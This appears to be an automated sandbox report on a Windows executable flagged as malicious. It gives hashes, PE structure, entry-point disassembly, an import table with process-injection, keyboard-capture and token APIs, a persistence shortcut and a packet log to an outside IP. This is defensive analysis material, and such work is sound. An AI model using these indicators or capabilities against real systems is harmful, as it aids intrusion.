                                                        SHA-512:5A34E5614CD2E6E034FD4F3E5065E4F22E7B5BA7B3EED6A5E693C3291ED6C4717DCCEE898BB98547BE6F09277D1CAD8DDA4C104E318E4D5971D67B63405D9910
                                                        Malicious:true
                                                        Preview:[InternetShortcut] ..URL="C:\Users\user\AppData\Local\WordGenius Technologies\SwiftWrite.js" ..

                                                        Static File Info

                                                        General

                                                        File type:PE32+ executable (GUI) x86-64, for MS Windows
                                                        Entropy (8bit):6.3064138247111545
                                                        TrID:
                                                        • Win64 Executable GUI (202006/5) 92.65%
                                                        • Win64 Executable (generic) (12005/4) 5.51%
                                                        • Generic Win/DOS Executable (2004/3) 0.92%
                                                        • DOS Executable Generic (2002/1) 0.92%
                                                        • Autodesk FLIC Image File (extensions: flc, fli, cel) (7/3) 0.00%
                                                        File name:RMBOriPHVJ.exe
                                                        File size:1'083'904 bytes
                                                        MD5:f31d005ed75e0d83e49feef891d06385
                                                        SHA1:324f2b1cf1a95a1263a5df464cbc267de68e9dc3
                                                        SHA256:fb54005eb5984dcea9113c27a18825aee74cccd386e1e9604b4db06ef477d84f
                                                        SHA512:f706d28d82377263b4bc77a754bd252f468f198f049abf98ef5f29264ec2e79f350c25721f81c267f5103258d24841e1885faf07851296169d376df7fea6ba30
                                                        SSDEEP:24576:rrORE29TTVx8aBRd1h1orq+GWE0Jc5bDTj1Vyv9Tva71x:r2EYTb8atv1orq+pEiSDTj1VyvBaB
                                                        TLSH:FD357C4973A4419DFEABE1B6CA23C607D6B17C490276861F01A47B767F337712A2E321
                                                        File Content Preview:MZ......................@...................................0...........!..L.!This program cannot be run in DOS mode....$.......o1).+PG.+PG.+PG.....>PG......PG......PG.....*PG.y8B..PG.y8C.:PG.y8D.#PG."(..#PG."(..*PG."(...PG.+PF..RG..9I.{PG..9D.*PG..9..*PG

                                                        File Icon

                                                        Icon Hash:0fd88dc89ea7861b

                                                        Static PE Info

                                                        General

                                                        Entrypoint:0x14002549c
                                                        Entrypoint Section:.text
                                                        Digitally signed:false
                                                        Imagebase:0x140000000
                                                        Subsystem:windows gui
                                                        Image File Characteristics:EXECUTABLE_IMAGE, LARGE_ADDRESS_AWARE
                                                        DLL Characteristics:HIGH_ENTROPY_VA, DYNAMIC_BASE, NX_COMPAT, TERMINAL_SERVER_AWARE
                                                        Time Stamp:0x674EA4E8 [Tue Dec 3 06:27:52 2024 UTC]
                                                        TLS Callbacks:
                                                        CLR (.Net) Version:
                                                        OS Version Major:5
                                                        OS Version Minor:2
                                                        File Version Major:5
                                                        File Version Minor:2
                                                        Subsystem Version Major:5
                                                        Subsystem Version Minor:2
                                                        Import Hash:fadc5a257419d2541a6b13dfb5e311e2

                                                        Entrypoint Preview

                                                        Instruction
                                                        dec eax
                                                        sub esp, 28h
                                                        call 00007F01ACE1E160h
                                                        dec eax
                                                        add esp, 28h
                                                        jmp 00007F01ACE1DA6Fh
                                                        int3
                                                        int3
                                                        inc eax
                                                        push ebx
                                                        dec eax
                                                        sub esp, 20h
                                                        dec eax
                                                        mov ebx, ecx
                                                        dec eax
                                                        mov eax, edx
                                                        dec eax
                                                        lea ecx, dword ptr [0009466Dh]
                                                        dec eax
                                                        mov dword ptr [ebx], ecx
                                                        dec eax
                                                        lea edx, dword ptr [ebx+08h]
                                                        xor ecx, ecx
                                                        dec eax
                                                        mov dword ptr [edx], ecx
                                                        dec eax
                                                        mov dword ptr [edx+08h], ecx
                                                        dec eax
                                                        lea ecx, dword ptr [eax+08h]
                                                        call 00007F01ACE1F679h
                                                        dec eax
                                                        lea eax, dword ptr [0009467Dh]
                                                        dec eax
                                                        mov dword ptr [ebx], eax
                                                        dec eax
                                                        mov eax, ebx
                                                        dec eax
                                                        add esp, 20h
                                                        pop ebx
                                                        ret
                                                        int3
                                                        dec eax
                                                        and dword ptr [ecx+10h], 00000000h
                                                        dec eax
                                                        lea eax, dword ptr [00094674h]
                                                        dec eax
                                                        mov dword ptr [ecx+08h], eax
                                                        dec eax
                                                        lea eax, dword ptr [00094659h]
                                                        dec eax
                                                        mov dword ptr [ecx], eax
                                                        dec eax
                                                        mov eax, ecx
                                                        ret
                                                        int3
                                                        int3
                                                        inc eax
                                                        push ebx
                                                        dec eax
                                                        sub esp, 20h
                                                        dec eax
                                                        mov ebx, ecx
                                                        dec eax
                                                        mov eax, edx
                                                        dec eax
                                                        lea ecx, dword ptr [0009460Dh]
                                                        dec eax
                                                        mov dword ptr [ebx], ecx
                                                        dec eax
                                                        lea edx, dword ptr [ebx+08h]
                                                        xor ecx, ecx
                                                        dec eax
                                                        mov dword ptr [edx], ecx
                                                        dec eax
                                                        mov dword ptr [edx+08h], ecx
                                                        dec eax
                                                        lea ecx, dword ptr [eax+08h]
                                                        call 00007F01ACE1F619h
                                                        dec eax
                                                        lea eax, dword ptr [00094645h]
                                                        dec eax
                                                        mov dword ptr [ebx], eax
                                                        dec eax
                                                        mov eax, ebx
                                                        dec eax
                                                        add esp, 20h
                                                        pop ebx
                                                        ret
                                                        int3
                                                        dec eax
                                                        and dword ptr [ecx+10h], 00000000h
                                                        dec eax
                                                        lea eax, dword ptr [0009463Ch]
                                                        dec eax
                                                        mov dword ptr [ecx+08h], eax
                                                        dec eax
                                                        lea eax, dword ptr [00000021h]

                                                        Rich Headers

                                                        Programming Language:
                                                        • [ C ] VS2008 SP1 build 30729
                                                        • [IMP] VS2008 SP1 build 30729

                                                        Data Directories

                                                        NameVirtual AddressVirtual Size Is in Section
                                                        IMAGE_DIRECTORY_ENTRY_EXPORT0x00x0
                                                        IMAGE_DIRECTORY_ENTRY_IMPORT0xe5c100x17c.rdata
                                                        IMAGE_DIRECTORY_ENTRY_RESOURCE0xfb0000x140f8.rsrc
                                                        IMAGE_DIRECTORY_ENTRY_EXCEPTION0xf40000x6f48.pdata
                                                        IMAGE_DIRECTORY_ENTRY_SECURITY0x00x0
                                                        IMAGE_DIRECTORY_ENTRY_BASERELOC0x1100000xa74.reloc
                                                        IMAGE_DIRECTORY_ENTRY_DEBUG0xc70500x1c.rdata
                                                        IMAGE_DIRECTORY_ENTRY_COPYRIGHT0x00x0
                                                        IMAGE_DIRECTORY_ENTRY_GLOBALPTR0x00x0
                                                        IMAGE_DIRECTORY_ENTRY_TLS0xd9aa00x28.rdata
                                                        IMAGE_DIRECTORY_ENTRY_LOAD_CONFIG0xc70700x100.rdata
                                                        IMAGE_DIRECTORY_ENTRY_BOUND_IMPORT0x00x0
                                                        IMAGE_DIRECTORY_ENTRY_IAT0xb50000x1138.rdata
                                                        IMAGE_DIRECTORY_ENTRY_DELAY_IMPORT0x00x0
                                                        IMAGE_DIRECTORY_ENTRY_COM_DESCRIPTOR0x00x0
                                                        IMAGE_DIRECTORY_ENTRY_RESERVED0x00x0

                                                        Sections

                                                        NameVirtual AddressVirtual SizeRaw SizeMD5Xored PEZLIB ComplexityFile TypeEntropyCharacteristics
                                                        .text0x10000xb33280xb3400507a8505198e35cc9675301d53e3b1c4False0.5503358721234309data6.5212967575920215IMAGE_SCN_CNT_CODE, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ
                                                        .rdata0xb50000x342040x344009eda36be0cf076085a2f9772c1ee5803False0.30884139503588515data5.360588077813426IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_READ
                                                        .data0xea0000x91200x5000ec6b77d6ef8898b0d3b7d48c042d66a0False0.040673828125DOS executable (block device driver)0.5749243362866429IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
                                                        .pdata0xf40000x6f480x70004416e27f8be9f9271c439d2fd34d1b2dFalse0.49612862723214285data5.911479421450324IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_READ
                                                        .rsrc0xfb0000x140f80x14200135baabc2639a2f0fb54dbd67651d852False0.19346855590062112data4.246423803028327IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_READ
                                                        .reloc0x1100000xa740xc005ddb0e422ace102fe530e589a0cbec6fFalse0.4850260416666667data5.139847116863034IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_DISCARDABLE, IMAGE_SCN_MEM_READ

                                                        Resources

                                                        NameRVASizeTypeLanguageCountryZLIB Complexity
                                                        RT_ICON0xfb4580x128Device independent bitmap graphic, 16 x 32 x 4, image size 192EnglishGreat Britain0.7466216216216216
                                                        RT_ICON0xfb5800x128Device independent bitmap graphic, 16 x 32 x 4, image size 128, 16 important colorsEnglishGreat Britain0.3277027027027027
                                                        RT_ICON0xfb6a80x128Device independent bitmap graphic, 16 x 32 x 4, image size 192EnglishGreat Britain0.3885135135135135
                                                        RT_ICON0xfb7d00x10828Device independent bitmap graphic, 128 x 256 x 32, image size 65536, resolution 60472 x 60472 px/mEnglishGreat Britain0.14468236129184905
                                                        RT_MENU0x10bff80x50dataEnglishGreat Britain0.9
                                                        RT_STRING0x10c0480x594dataEnglishGreat Britain0.3333333333333333
                                                        RT_STRING0x10c5dc0x68adataEnglishGreat Britain0.2735961768219833
                                                        RT_STRING0x10cc680x490dataEnglishGreat Britain0.3715753424657534
                                                        RT_STRING0x10d0f80x5fcdataEnglishGreat Britain0.3087467362924282
                                                        RT_STRING0x10d6f40x65cdataEnglishGreat Britain0.34336609336609336
                                                        RT_STRING0x10dd500x466dataEnglishGreat Britain0.3605683836589698
                                                        RT_STRING0x10e1b80x158Matlab v4 mat-file (little endian) n, numeric, rows 0, columns 0EnglishGreat Britain0.502906976744186
                                                        RT_RCDATA0x10e3100x8ccdata1.0048845470692718
                                                        RT_GROUP_ICON0x10ebdc0x14dataEnglishGreat Britain1.25
                                                        RT_GROUP_ICON0x10ebf00x14dataEnglishGreat Britain1.25
                                                        RT_GROUP_ICON0x10ec040x14dataEnglishGreat Britain1.15
                                                        RT_GROUP_ICON0x10ec180x14dataEnglishGreat Britain1.25
                                                        RT_VERSION0x10ec2c0xdcdataEnglishGreat Britain0.6181818181818182
                                                        RT_MANIFEST0x10ed080x3efASCII text, with CRLF line terminatorsEnglishGreat Britain0.5074478649453823

                                                        Imports

                                                        DLLImport
                                                        WSOCK32.dllgethostbyname, recv, send, socket, inet_ntoa, setsockopt, ntohs, WSACleanup, WSAStartup, sendto, htons, __WSAFDIsSet, select, accept, listen, bind, inet_addr, ioctlsocket, recvfrom, WSAGetLastError, closesocket, gethostname, connect
                                                        VERSION.dllGetFileVersionInfoW, VerQueryValueW, GetFileVersionInfoSizeW
                                                        WINMM.dlltimeGetTime, waveOutSetVolume, mciSendStringW
                                                        COMCTL32.dllImageList_ReplaceIcon, ImageList_Destroy, ImageList_Remove, ImageList_SetDragCursorImage, ImageList_BeginDrag, ImageList_DragEnter, ImageList_DragLeave, ImageList_EndDrag, ImageList_DragMove, InitCommonControlsEx, ImageList_Create
                                                        MPR.dllWNetGetConnectionW, WNetCancelConnection2W, WNetUseConnectionW, WNetAddConnection2W
                                                        WININET.dllHttpOpenRequestW, InternetCloseHandle, InternetOpenW, InternetSetOptionW, InternetCrackUrlW, HttpQueryInfoW, InternetQueryOptionW, InternetConnectW, HttpSendRequestW, FtpOpenFileW, FtpGetFileSize, InternetOpenUrlW, InternetReadFile, InternetQueryDataAvailable
                                                        PSAPI.DLLGetProcessMemoryInfo
                                                        IPHLPAPI.DLLIcmpSendEcho, IcmpCloseHandle, IcmpCreateFile
                                                        USERENV.dllDestroyEnvironmentBlock, LoadUserProfileW, CreateEnvironmentBlock, UnloadUserProfile
                                                        UxTheme.dllIsThemeActive
                                                        KERNEL32.dllWaitForSingleObject, HeapAlloc, GetProcessHeap, HeapFree, Sleep, GetCurrentThreadId, MultiByteToWideChar, MulDiv, GetVersionExW, IsWow64Process, GetSystemInfo, FreeLibrary, LoadLibraryA, GetProcAddress, SetErrorMode, GetModuleFileNameW, WideCharToMultiByte, lstrcpyW, lstrlenW, GetModuleHandleW, QueryPerformanceCounter, VirtualFreeEx, OpenProcess, VirtualAllocEx, WriteProcessMemory, ReadProcessMemory, CreateFileW, SetFilePointerEx, SetEndOfFile, ReadFile, WriteFile, FlushFileBuffers, TerminateProcess, CreateToolhelp32Snapshot, Process32FirstW, Process32NextW, SetFileTime, GetFileAttributesW, FindFirstFileW, FindClose, GetLongPathNameW, GetShortPathNameW, DeleteFileW, FindNextFileW, CopyFileExW, GetFullPathNameW, CreateDirectoryW, RemoveDirectoryW, SetSystemPowerState, QueryPerformanceFrequency, LoadResource, LockResource, SizeofResource, OutputDebugStringW, GetTempPathW, GetTempFileNameW, DeviceIoControl, LoadLibraryW, GetLocalTime, CompareStringW, EnterCriticalSection, DuplicateHandle, GetStdHandle, CreatePipe, TerminateThread, LoadLibraryExW, FindResourceExW, CopyFileW, VirtualFree, FormatMessageW, GetExitCodeProcess, GetPrivateProfileStringW, WritePrivateProfileStringW, GetPrivateProfileSectionW, WritePrivateProfileSectionW, GetPrivateProfileSectionNamesW, FileTimeToLocalFileTime, FileTimeToSystemTime, SystemTimeToFileTime, LocalFileTimeToFileTime, GetDriveTypeW, GetDiskFreeSpaceExW, GetDiskFreeSpaceW, GetVolumeInformationW, SetVolumeLabelW, CreateHardLinkW, SetFileAttributesW, CreateEventW, SetEvent, GetEnvironmentVariableW, SetEnvironmentVariableW, GlobalLock, GlobalUnlock, GlobalAlloc, GetFileSize, GlobalFree, GlobalMemoryStatusEx, Beep, GetSystemDirectoryW, HeapReAlloc, HeapSize, GetComputerNameW, GetWindowsDirectoryW, GetCurrentProcessId, GetProcessIoCounters, CreateProcessW, GetProcessId, SetPriorityClass, VirtualAlloc, SetCurrentDirectoryW, IsDebuggerPresent, GetCurrentDirectoryW, lstrcmpiW, GetLastError, RaiseException, InitializeCriticalSectionAndSpinCount, DeleteCriticalSection, RtlLookupFunctionEntry, RtlVirtualUnwind, UnhandledExceptionFilter, SetUnhandledExceptionFilter, GetStartupInfoW, IsProcessorFeaturePresent, GetSystemTimeAsFileTime, CreateThread, GetCurrentProcess, GetCurrentThread, LeaveCriticalSection, InitializeSListHead, RtlUnwindEx, RtlPcToFileHeader, SetLastError, TlsAlloc, ResetEvent, WaitForSingleObjectEx, TlsGetValue, TlsSetValue, TlsFree, EncodePointer, ExitProcess, GetModuleHandleExW, ExitThread, ResumeThread, FreeLibraryAndExitThread, GetACP, GetDateFormatW, GetTimeFormatW, LCMapStringW, GetStringTypeW, GetFileType, SetStdHandle, GetConsoleCP, GetConsoleMode, ReadConsoleW, GetTimeZoneInformation, FindFirstFileExW, IsValidCodePage, GetOEMCP, GetCPInfo, GetCommandLineA, GetCommandLineW, GetEnvironmentStringsW, FreeEnvironmentStringsW, SetEnvironmentVariableA, CloseHandle, WriteConsoleW, MoveFileW, RtlCaptureContext
                                                        USER32.dllGetMenuStringW, GetSubMenu, GetCaretPos, IsZoomed, GetWindowLongW, GetMonitorInfoW, SetWindowLongW, SetLayeredWindowAttributes, FlashWindow, GetClassLongPtrW, TranslateAcceleratorW, IsDialogMessageW, GetSysColor, InflateRect, DrawFocusRect, DrawTextW, FrameRect, DrawFrameControl, FillRect, PtInRect, DestroyAcceleratorTable, CreateAcceleratorTableW, SetCursor, GetWindowDC, GetSystemMetrics, SetWindowLongPtrW, GetActiveWindow, CharNextW, wsprintfW, RedrawWindow, DrawMenuBar, DestroyMenu, SetMenu, GetWindowTextLengthW, CreateMenu, IsDlgButtonChecked, DefDlgProcW, CallWindowProcW, ReleaseCapture, SetCapture, BlockInput, GetMessageW, LockWindowUpdate, DispatchMessageW, TranslateMessage, PeekMessageW, GetInputState, UnregisterHotKey, CharLowerBuffW, MonitorFromPoint, MonitorFromRect, LoadImageW, mouse_event, ExitWindowsEx, SetActiveWindow, FindWindowExW, EnumThreadWindows, IsCharUpperW, InsertMenuItemW, IsMenu, TrackPopupMenuEx, GetCursorPos, DeleteMenu, CheckMenuRadioItem, GetMenuItemID, GetMenuItemCount, SetMenuItemInfoW, GetMenuItemInfoW, SetForegroundWindow, IsIconic, FindWindowW, GetClipboardData, keybd_event, SendInput, GetAsyncKeyState, SetKeyboardState, GetKeyboardState, GetKeyState, VkKeyScanW, LoadStringW, DialogBoxParamW, MessageBeep, EndDialog, SendDlgItemMessageW, GetDlgItem, SetWindowTextW, CopyRect, ReleaseDC, GetDC, EndPaint, BeginPaint, GetClientRect, GetMenu, DestroyWindow, EnumWindows, GetDesktopWindow, IsWindow, IsWindowEnabled, IsWindowVisible, EnableWindow, InvalidateRect, GetWindowThreadProcessId, AttachThreadInput, GetFocus, GetWindowTextW, ScreenToClient, SendMessageTimeoutW, EnumChildWindows, CharUpperBuffW, GetClassNameW, GetParent, GetDlgCtrlID, SendMessageW, MapVirtualKeyW, PostMessageW, IsCharLowerW, IsCharAlphaNumericW, IsCharAlphaW, GetKeyboardLayoutNameW, ClientToScreen, RegisterHotKey, GetCursorInfo, SetWindowPos, CopyImage, AdjustWindowRectEx, SetRect, SetClipboardData, EmptyClipboard, CountClipboardFormats, SetMenuDefaultItem, CloseClipboard, GetWindowRect, SetUserObjectSecurity, IsClipboardFormatAvailable, CloseDesktop, CloseWindowStation, OpenDesktopW, SetProcessWindowStation, GetProcessWindowStation, OpenWindowStationW, GetUserObjectSecurity, MessageBoxW, DefWindowProcW, MoveWindow, SetFocus, PostQuitMessage, KillTimer, CreatePopupMenu, RegisterWindowMessageW, SetTimer, ShowWindow, CreateWindowExW, RegisterClassExW, LoadIconW, LoadCursorW, GetSysColorBrush, GetForegroundWindow, MessageBoxA, DestroyIcon, SystemParametersInfoW, OpenClipboard, GetWindowLongPtrW
                                                        GDI32.dllEndPath, DeleteObject, GetDeviceCaps, ExtCreatePen, StrokePath, SetPixel, CloseFigure, LineTo, AngleArc, MoveToEx, Ellipse, PolyDraw, GetTextExtentPoint32W, CreateCompatibleBitmap, BeginPath, Rectangle, SetViewportOrgEx, GetObjectW, SetBkMode, RoundRect, SetBkColor, CreatePen, CreateSolidBrush, SetTextColor, CreateFontW, GetTextFaceW, GetStockObject, CreateDCW, GetPixel, DeleteDC, GetDIBits, StretchBlt, SelectObject, CreateCompatibleDC, StrokeAndFillPath
                                                        COMDLG32.dllGetSaveFileNameW, GetOpenFileNameW
                                                        ADVAPI32.dllGetAce, RegEnumValueW, RegDeleteValueW, RegDeleteKeyW, RegEnumKeyExW, RegOpenKeyExW, RegCloseKey, RegQueryValueExW, RegConnectRegistryW, InitializeSecurityDescriptor, InitializeAcl, AdjustTokenPrivileges, OpenThreadToken, OpenProcessToken, LookupPrivilegeValueW, DuplicateTokenEx, CreateProcessAsUserW, CreateProcessWithLogonW, GetLengthSid, CopySid, LogonUserW, AllocateAndInitializeSid, CheckTokenMembership, FreeSid, GetTokenInformation, RegSetValueExW, GetSecurityDescriptorDacl, GetAclInformation, RegCreateKeyExW, AddAce, SetSecurityDescriptorDacl, InitiateSystemShutdownExW, GetUserNameW
                                                        SHELL32.dllDragFinish, DragQueryPoint, ShellExecuteExW, DragQueryFileW, SHEmptyRecycleBinW, SHGetPathFromIDListW, SHBrowseForFolderW, SHCreateShellItem, SHGetDesktopFolder, SHGetSpecialFolderLocation, SHGetFolderPathW, SHFileOperationW, ExtractIconExW, Shell_NotifyIconW, ShellExecuteW
                                                        ole32.dllCoTaskMemAlloc, CoTaskMemFree, CLSIDFromString, ProgIDFromCLSID, CLSIDFromProgID, OleSetMenuDescriptor, MkParseDisplayName, OleSetContainedObject, CoCreateInstance, IIDFromString, StringFromGUID2, CreateStreamOnHGlobal, OleInitialize, OleUninitialize, CoInitialize, CoUninitialize, GetRunningObjectTable, CoGetInstanceFromFile, CoGetObject, CoInitializeSecurity, CoCreateInstanceEx, CoSetProxyBlanket
                                                        OLEAUT32.dllVariantChangeType, DispCallFunc, CreateStdDispatch, CreateDispTypeInfo, UnRegisterTypeLib, UnRegisterTypeLibForUser, RegisterTypeLibForUser, RegisterTypeLib, LoadTypeLibEx, VariantCopyInd, VariantTimeToSystemTime, SysFreeString, SafeArrayDestroyDescriptor, SafeArrayDestroyData, SafeArrayUnaccessData, VariantInit, VariantClear, VariantCopy, SysAllocString, SafeArrayCreateVector, VarR8FromDec, SafeArrayAllocDescriptorEx, SafeArrayAllocData, SysStringLen, SafeArrayGetVartype, OleLoadPicture, QueryPathOfRegTypeLib, SysReAllocString, SafeArrayAccessData

                                                        Possible Origin

                                                        Language of compilation systemCountry where language is spokenMap
                                                        EnglishGreat Britain

                                                        Network Behavior

                                                        Network Port Distribution

                                                        TCP Packets

                                                        TimestampSource PortDest PortSource IPDest IP
                                                        Dec 18, 2024 09:31:20.321213961 CET4970580192.168.2.8139.99.188.124
                                                        Dec 18, 2024 09:31:20.440815926 CET8049705139.99.188.124192.168.2.8
                                                        Dec 18, 2024 09:31:20.440886974 CET4970580192.168.2.8139.99.188.124
                                                        Dec 18, 2024 09:31:20.445193052 CET4970580192.168.2.8139.99.188.124
                                                        Dec 18, 2024 09:31:20.564811945 CET8049705139.99.188.124192.168.2.8
                                                        Dec 18, 2024 09:31:21.969986916 CET8049705139.99.188.124192.168.2.8
                                                        Dec 18, 2024 09:31:21.970048904 CET8049705139.99.188.124192.168.2.8
                                                        Dec 18, 2024 09:31:21.970084906 CET8049705139.99.188.124192.168.2.8
                                                        Dec 18, 2024 09:31:21.970122099 CET8049705139.99.188.124192.168.2.8
                                                        Dec 18, 2024 09:31:21.970138073 CET4970580192.168.2.8139.99.188.124
                                                        Dec 18, 2024 09:31:21.970158100 CET8049705139.99.188.124192.168.2.8
                                                        Dec 18, 2024 09:31:21.970182896 CET4970580192.168.2.8139.99.188.124
                                                        Dec 18, 2024 09:31:21.970213890 CET8049705139.99.188.124192.168.2.8
                                                        Dec 18, 2024 09:31:21.970249891 CET8049705139.99.188.124192.168.2.8
                                                        Dec 18, 2024 09:31:21.970312119 CET4970580192.168.2.8139.99.188.124
                                                        Dec 18, 2024 09:31:21.970347881 CET8049705139.99.188.124192.168.2.8
                                                        Dec 18, 2024 09:31:21.970401049 CET4970580192.168.2.8139.99.188.124
                                                        Dec 18, 2024 09:31:21.970402956 CET8049705139.99.188.124192.168.2.8
                                                        Dec 18, 2024 09:31:21.970441103 CET8049705139.99.188.124192.168.2.8
                                                        Dec 18, 2024 09:31:21.970557928 CET4970580192.168.2.8139.99.188.124
                                                        Dec 18, 2024 09:31:22.089796066 CET8049705139.99.188.124192.168.2.8
                                                        Dec 18, 2024 09:31:22.089915991 CET8049705139.99.188.124192.168.2.8
                                                        Dec 18, 2024 09:31:22.090020895 CET4970580192.168.2.8139.99.188.124
                                                        Dec 18, 2024 09:31:22.161742926 CET8049705139.99.188.124192.168.2.8
                                                        Dec 18, 2024 09:31:22.161802053 CET8049705139.99.188.124192.168.2.8
                                                        Dec 18, 2024 09:31:22.161876917 CET4970580192.168.2.8139.99.188.124
                                                        Dec 18, 2024 09:31:22.165900946 CET8049705139.99.188.124192.168.2.8
                                                        Dec 18, 2024 09:31:22.166033030 CET8049705139.99.188.124192.168.2.8
                                                        Dec 18, 2024 09:31:22.166126013 CET4970580192.168.2.8139.99.188.124
                                                        Dec 18, 2024 09:31:22.172348022 CET8049705139.99.188.124192.168.2.8
                                                        Dec 18, 2024 09:31:22.172456980 CET8049705139.99.188.124192.168.2.8
                                                        Dec 18, 2024 09:31:22.172518969 CET4970580192.168.2.8139.99.188.124
                                                        Dec 18, 2024 09:31:22.180701017 CET8049705139.99.188.124192.168.2.8
                                                        Dec 18, 2024 09:31:22.180804014 CET8049705139.99.188.124192.168.2.8
                                                        Dec 18, 2024 09:31:22.181045055 CET4970580192.168.2.8139.99.188.124
                                                        Dec 18, 2024 09:31:22.189162016 CET8049705139.99.188.124192.168.2.8
                                                        Dec 18, 2024 09:31:22.189412117 CET8049705139.99.188.124192.168.2.8
                                                        Dec 18, 2024 09:31:22.189491987 CET4970580192.168.2.8139.99.188.124
                                                        Dec 18, 2024 09:31:22.197478056 CET8049705139.99.188.124192.168.2.8
                                                        Dec 18, 2024 09:31:22.197545052 CET8049705139.99.188.124192.168.2.8
                                                        Dec 18, 2024 09:31:22.197738886 CET4970580192.168.2.8139.99.188.124
                                                        Dec 18, 2024 09:31:22.205825090 CET8049705139.99.188.124192.168.2.8
                                                        Dec 18, 2024 09:31:22.205961943 CET8049705139.99.188.124192.168.2.8
                                                        Dec 18, 2024 09:31:22.206003904 CET4970580192.168.2.8139.99.188.124
                                                        Dec 18, 2024 09:31:22.214488029 CET8049705139.99.188.124192.168.2.8
                                                        Dec 18, 2024 09:31:22.214565992 CET8049705139.99.188.124192.168.2.8
                                                        Dec 18, 2024 09:31:22.214701891 CET4970580192.168.2.8139.99.188.124
                                                        Dec 18, 2024 09:31:22.222573042 CET8049705139.99.188.124192.168.2.8
                                                        Dec 18, 2024 09:31:22.222671986 CET8049705139.99.188.124192.168.2.8
                                                        Dec 18, 2024 09:31:22.222748041 CET4970580192.168.2.8139.99.188.124
                                                        Dec 18, 2024 09:31:22.230947018 CET8049705139.99.188.124192.168.2.8
                                                        Dec 18, 2024 09:31:22.231057882 CET8049705139.99.188.124192.168.2.8
                                                        Dec 18, 2024 09:31:22.231296062 CET4970580192.168.2.8139.99.188.124
                                                        Dec 18, 2024 09:31:22.239367962 CET8049705139.99.188.124192.168.2.8
                                                        Dec 18, 2024 09:31:22.239470959 CET8049705139.99.188.124192.168.2.8
                                                        Dec 18, 2024 09:31:22.239741087 CET4970580192.168.2.8139.99.188.124
                                                        Dec 18, 2024 09:31:22.375782013 CET8049705139.99.188.124192.168.2.8
                                                        Dec 18, 2024 09:31:22.375801086 CET8049705139.99.188.124192.168.2.8
                                                        Dec 18, 2024 09:31:22.376023054 CET4970580192.168.2.8139.99.188.124
                                                        Dec 18, 2024 09:31:22.377787113 CET8049705139.99.188.124192.168.2.8
                                                        Dec 18, 2024 09:31:22.377959013 CET8049705139.99.188.124192.168.2.8
                                                        Dec 18, 2024 09:31:22.378146887 CET4970580192.168.2.8139.99.188.124
                                                        Dec 18, 2024 09:31:22.382560015 CET8049705139.99.188.124192.168.2.8
                                                        Dec 18, 2024 09:31:22.382695913 CET8049705139.99.188.124192.168.2.8
                                                        Dec 18, 2024 09:31:22.382842064 CET4970580192.168.2.8139.99.188.124
                                                        Dec 18, 2024 09:31:22.387362003 CET8049705139.99.188.124192.168.2.8
                                                        Dec 18, 2024 09:31:22.387491941 CET8049705139.99.188.124192.168.2.8
                                                        Dec 18, 2024 09:31:22.387578011 CET4970580192.168.2.8139.99.188.124
                                                        Dec 18, 2024 09:31:22.392134905 CET8049705139.99.188.124192.168.2.8
                                                        Dec 18, 2024 09:31:22.392302036 CET8049705139.99.188.124192.168.2.8
                                                        Dec 18, 2024 09:31:22.392402887 CET4970580192.168.2.8139.99.188.124
                                                        Dec 18, 2024 09:31:22.396915913 CET8049705139.99.188.124192.168.2.8
                                                        Dec 18, 2024 09:31:22.397031069 CET8049705139.99.188.124192.168.2.8
                                                        Dec 18, 2024 09:31:22.397115946 CET4970580192.168.2.8139.99.188.124
                                                        Dec 18, 2024 09:31:22.401628017 CET8049705139.99.188.124192.168.2.8
                                                        Dec 18, 2024 09:31:22.401736975 CET8049705139.99.188.124192.168.2.8
                                                        Dec 18, 2024 09:31:22.401791096 CET4970580192.168.2.8139.99.188.124
                                                        Dec 18, 2024 09:31:22.406471014 CET8049705139.99.188.124192.168.2.8
                                                        Dec 18, 2024 09:31:22.406554937 CET8049705139.99.188.124192.168.2.8
                                                        Dec 18, 2024 09:31:22.406610012 CET4970580192.168.2.8139.99.188.124
                                                        Dec 18, 2024 09:31:22.411202908 CET8049705139.99.188.124192.168.2.8
                                                        Dec 18, 2024 09:31:22.411302090 CET8049705139.99.188.124192.168.2.8
                                                        Dec 18, 2024 09:31:22.411355019 CET4970580192.168.2.8139.99.188.124
                                                        Dec 18, 2024 09:31:22.415977001 CET8049705139.99.188.124192.168.2.8
                                                        Dec 18, 2024 09:31:22.416069031 CET8049705139.99.188.124192.168.2.8
                                                        Dec 18, 2024 09:31:22.416131020 CET4970580192.168.2.8139.99.188.124
                                                        Dec 18, 2024 09:31:22.420758009 CET8049705139.99.188.124192.168.2.8
                                                        Dec 18, 2024 09:31:22.420847893 CET8049705139.99.188.124192.168.2.8
                                                        Dec 18, 2024 09:31:22.421005964 CET4970580192.168.2.8139.99.188.124
                                                        Dec 18, 2024 09:31:22.425523043 CET8049705139.99.188.124192.168.2.8
                                                        Dec 18, 2024 09:31:22.425642014 CET8049705139.99.188.124192.168.2.8
                                                        Dec 18, 2024 09:31:22.425740004 CET4970580192.168.2.8139.99.188.124
                                                        Dec 18, 2024 09:31:22.430388927 CET8049705139.99.188.124192.168.2.8
                                                        Dec 18, 2024 09:31:22.430425882 CET8049705139.99.188.124192.168.2.8
                                                        Dec 18, 2024 09:31:22.430488110 CET4970580192.168.2.8139.99.188.124
                                                        Dec 18, 2024 09:31:22.435144901 CET8049705139.99.188.124192.168.2.8
                                                        Dec 18, 2024 09:31:22.435260057 CET8049705139.99.188.124192.168.2.8
                                                        Dec 18, 2024 09:31:22.435333014 CET4970580192.168.2.8139.99.188.124
                                                        Dec 18, 2024 09:31:22.439886093 CET8049705139.99.188.124192.168.2.8
                                                        Dec 18, 2024 09:31:22.440018892 CET8049705139.99.188.124192.168.2.8
                                                        Dec 18, 2024 09:31:22.440082073 CET4970580192.168.2.8139.99.188.124
                                                        Dec 18, 2024 09:31:22.444700956 CET8049705139.99.188.124192.168.2.8
                                                        Dec 18, 2024 09:31:22.444771051 CET8049705139.99.188.124192.168.2.8
                                                        Dec 18, 2024 09:31:22.445089102 CET4970580192.168.2.8139.99.188.124
                                                        Dec 18, 2024 09:31:22.449424028 CET8049705139.99.188.124192.168.2.8
